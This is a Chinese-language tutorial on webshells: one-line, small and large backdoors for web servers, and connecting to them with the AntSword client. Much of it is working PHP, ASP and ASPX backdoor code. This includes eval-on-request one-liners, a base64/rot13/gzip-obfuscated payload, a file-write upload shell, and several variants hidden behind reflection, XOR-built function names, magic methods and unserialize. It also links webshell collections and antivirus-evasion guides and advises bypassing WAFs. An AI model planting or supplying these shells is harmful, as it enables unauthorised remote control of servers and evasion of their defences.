什么是Webshell&蚁剑
学习蚁剑
什么是一句话木马, 大马, 小马
各种webshell地址:https://github.com/tennc/webshell
webshell免杀解析:https://secvery.com/2105.html
蚁剑:https://github.com/AntSwordProject/antSword
哥斯拉:https://github.com/BeichenDream/Godzilla/
冰蝎:https://github.com/rebeyond/Behinder
首先它们都是webshell,初期webshell是留着给站长方便的,但是因为安全问题,它们不再被使用,而是被黑客用来连接服务器的后门。
webshell可以大致的分三类,一句话,小马,大马。
一句话木马
一句话木马是最简单的,它的特点是,只有一句话(一行代码),它可以被穿插进别的代码里,但是因为特征明显,所以一般都是经过各种变形,加密使用来绕过waf检测。
常见一句话木马
1 | asp: <%eval request(“KEY”)%> |
小马
参考:https://blog.csdn.net/qq_44370676/article/details/111030358
小马就是比一句话多了点功能,加了免杀,过waf,自带编码或者加密解密
php小马
直接调用:
1
2eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw=='))));
文件上传马:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
header("content-Type: text/html; charset=utf-8");
echo
"</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
"</br>获取服务信息: ".apache_get_version();
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
error_reporting(0);
if ($_POST){
$f=fopen($_POST["file"],"w");
echo fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
}
反射类调用:
1
2
3
4
5
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
排序函数调用
1
2
3
4
5
$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
$arr->uksort('assert');类混淆,魔术方法:
1
2
3
4
5
6
7
8
9
10
11
12
class PNLK{
function __destruct(){
$FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
@$FQHZ=$FQHZ('',$this->PZAF);
return @$FQHZ();
}
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Test
{
public function __toString()
{
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
return '1';
}
}
$a=new Test();
echo $a;
类自定义方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Test
{
public function testing()
{
return function() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
}
}
$a=new Test();
$b=$a->testing();
$b();反射获取类注释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example
{
var $var = '';
function __destruct()
{
eval($this->var);
}
}
//$exp = new Example();
//$exp->var = "phpinfo();";
//die(serialize($exp));
unserialize($_GET['saved_code']);
asp小马
1 | <%eval request("sb")%> |
jsp小马
1 | <% |
aspx小马
1 | <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> |
大马
功能丰富,但是不太容易过杀软,代码量巨多
随便找的php大马:https://github.com/Kevil-hui/BestShell/blob/master/best_php_shell.php
本地演示蚁剑连接
先去web目录写个webshell,ifconfig确定ip
1 | cd /var/www/html |
蚁剑连接这个shell;右键添加数据,url填入这个shell所在的路径,填入连接密码,测试成功
对一句话webshell的思考
一句话木马想要成功连上服务器,必须要满足三点
服务器不能有waf、杀软,因为一句话木马的特征十分明显,是个waf都能扫出来杀掉。
知道webshell的绝对路径!
要拥有可执行权限!如果这个文件上传的位置是没有执行权限的,那么这个马就不会解析。比如有一次
EDU SRC
挖掘。在某处文件上传,后端是php的,各种姿势绕过后终于上传成功,但这些路径下的文件不会被解析,访问会直接下载,这样就不能拿下shell。
一句话一般都是要配合绕过等,所以就出现了冰蝎这种动态二进制加密的内存马。
当然,服务器过滤规则千奇百怪,有时候冰蝎,哥斯拉连不上,免杀一句话却能连上。所以找到上传点可以多试试各种马,梭就完了。